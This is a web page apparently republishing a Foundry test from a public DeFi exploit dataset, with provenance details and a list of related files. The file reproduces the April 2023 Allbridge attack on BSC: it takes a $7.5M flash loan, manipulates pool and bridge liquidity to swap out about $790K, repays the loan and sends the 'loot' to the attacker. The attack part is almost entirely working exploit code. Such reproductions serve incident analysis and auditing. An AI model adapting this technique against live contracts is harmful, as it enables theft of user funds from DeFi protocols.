Public reproduction file
src/test/2023-04/Allbridge_exp.sol
Public reproduction file for dataset entry Allbridge.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @Analysis8// https://twitter.com/BeosinAlert/status/16423727007265054739// @Tx10// https://bscscan.com/tx/0x7ff1364c3b3b296b411965339ed956da5d17058f3164425ce800d64f1aef821012interface IPool {13 function swap(14 address fromToken,15 address toToken,16 uint256 fromAmount,17 uint256 minimumToAmount,18 address to,19 uint256 deadline20 ) external returns (uint256 actualToAmount, uint256 haircut);22 function deposit(23 uint256 amount24 ) external;25}27interface IPool2 {28 function deposit(29 uint256 amount30 ) external;31 function withdraw(32 uint256 amountLp33 ) external;34}36interface IBridge {37 function swap(uint256 amount, bytes32 token, bytes32 receiveToken, address recipient) external;38}40contract ContractTest is Test {41 function setUp() external {42 vm.createSelectFork("bsc", 26_982_067);43 }45 function test_exploit() external {46 Exploit exploit = new Exploit();47 exploit.run();48 }49}51contract Exploit {52 IPancakePair pancakeSwap = IPancakePair(0x7EFaEf62fDdCCa950418312c6C91Aef321375A00);53 IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);54 IERC20 BSC_USD = IERC20(0x55d398326f99059fF775485246999027B3197955);55 IPool pool_0x312B = IPool(0x312Bc7eAAF93f1C60Dc5AfC115FcCDE161055fb0);56 IPool2 pool_0x179a = IPool2(0x179aaD597399B9ae078acFE2B746C09117799ca0);57 IPool2 pool_0xb19c = IPool2(0xB19Cd6AB3890f18B662904fd7a40C003703d2554);58 IBridge bridge = IBridge(0x7E6c2522fEE4E74A0182B9C6159048361BC3260A);60 function run() external {61 console.log("hacker BUSD bal before attack is ", BUSD.balanceOf(tx.origin));63 // The attacker flashloans $7.5M of BUSD64 pancakeSwap.swap(0, 7_500_000e18, address(this), "Gimme da loot");65 }67 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {68 // Swaps $2M BUSD for $2M $BSC-USD in pool_0x312B69 BUSD.approve(address(pool_0x312B), type(uint256).max);70 BSC_USD.approve(address(pool_0x312B), type(uint256).max);72 pool_0x312B.swap(address(BUSD), address(BSC_USD), 2_003_300e18, 1, address(this), block.timestamp + 100 seconds);74 // Then deposits $5M BUSD into pool 0x179a75 BUSD.approve(address(pool_0x179a), type(uint256).max);76 pool_0x179a.deposit(5_000_000e18);78 // Swap BUSD to BSC_USD79 pool_0x312B.swap(address(BUSD), address(BSC_USD), 496_700e18, 1, address(this), block.timestamp + 100 seconds);81 // Deposit $2 mil into pool_0xb19c82 BSC_USD.approve(address(pool_0xb19c), type(uint256).max);83 pool_0xb19c.deposit(2_000_000e18);85 /*86 The attacker then swaps $500K BSC-USD for $BUSD 87 in Allbridge's Bridge contract, resulting in a high 88 dividend for the previous liquidity deposit.89 */91 bytes32 bsc_usd = 0x00000000000000000000000055d398326f99059ff775485246999027b3197955;92 bytes32 busd = 0x000000000000000000000000e9e7cea3dedca5984780bafc599bd69add087d56;94 uint256 BSC_USD_bal = BSC_USD.balanceOf(address(this));95 bridge.swap(BSC_USD_bal, bsc_usd, busd, address(this));97 /*98 The BUSD liquidity in 0x179a is then removed, 99 at which point the liquidity balance within 100 the 0x179a pool is broken.101 */103 pool_0x179a.withdraw(4_830_262_616);105 /*106 The attacker was then able to swap out $790,000 107 of BSC-USD from Bridge using only $40,000 of BUSD.108 */110 bridge.swap(40_000e18, busd, bsc_usd, address(this));112 // Withdraw from pool_0xb19c113 pool_0xb19c.withdraw(1_993_728_530);115 // Swap BSC_USD to BUSD in pool_0x312B116 BSC_USD_bal = BSC_USD.balanceOf(address(this));117 pool_0x312B.swap(address(BSC_USD), address(BUSD), BSC_USD_bal, 1, address(this), block.timestamp + 100 seconds);119 // Repay flashloan120 BUSD.transfer(address(pancakeSwap), 7_522_500e18);122 // Transfer loot to attacker123 BUSD.transfer(tx.origin, BUSD.balanceOf(address(this)));125 console.log("hacker BUSD bal after attack is ", BUSD.balanceOf(tx.origin));126 }127}Analysis
Dataset entry
Public Foundry test for “Allbridge” (2023-04-02). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
12 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-04/0vix_exp.solSame month in the dataset · 472 lines
- src/test/2023-04/Axioma_exp.solSame month in the dataset · 65 lines
- src/test/2023-04/HundredFinance_2_exp.solSame month in the dataset · 327 lines
- src/test/2023-04/MetaPoint_exp.solSame month in the dataset · 73 lines
- src/test/2023-04/OLIFE_exp.solSame month in the dataset · 101 lines
- src/test/2023-04/Paribus_exp.solSame month in the dataset · 131 lines
- src/test/2023-04/Sentiment_exp.solSame month in the dataset · 239 lines
- src/test/2023-04/silo_finance_exp.solSame month in the dataset · 171 lines
- src/test/2023-04/Sushi_Router_exp.solSame month in the dataset · 94 lines
- src/test/2023-04/Swapos_exp.solSame month in the dataset · 46 lines
- src/test/2023-04/YearnFinance_exp.solSame month in the dataset · 526 lines
- src/test/2026-08/AllbridgeCCTP_exp.solSame protocol or name in the dataset · 321 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- Allbridge
- Path
- src/test/2023-04/Allbridge_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 4e7ce3f8450ddae6e97027baceba6a8f1c600808
- Language
- Solidity
- Size
- 128 lines
- Date
- 2023-04-02
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-04/Allbridge_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4e7ce3f8450ddae6e97027baceba6a8f1c600808, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.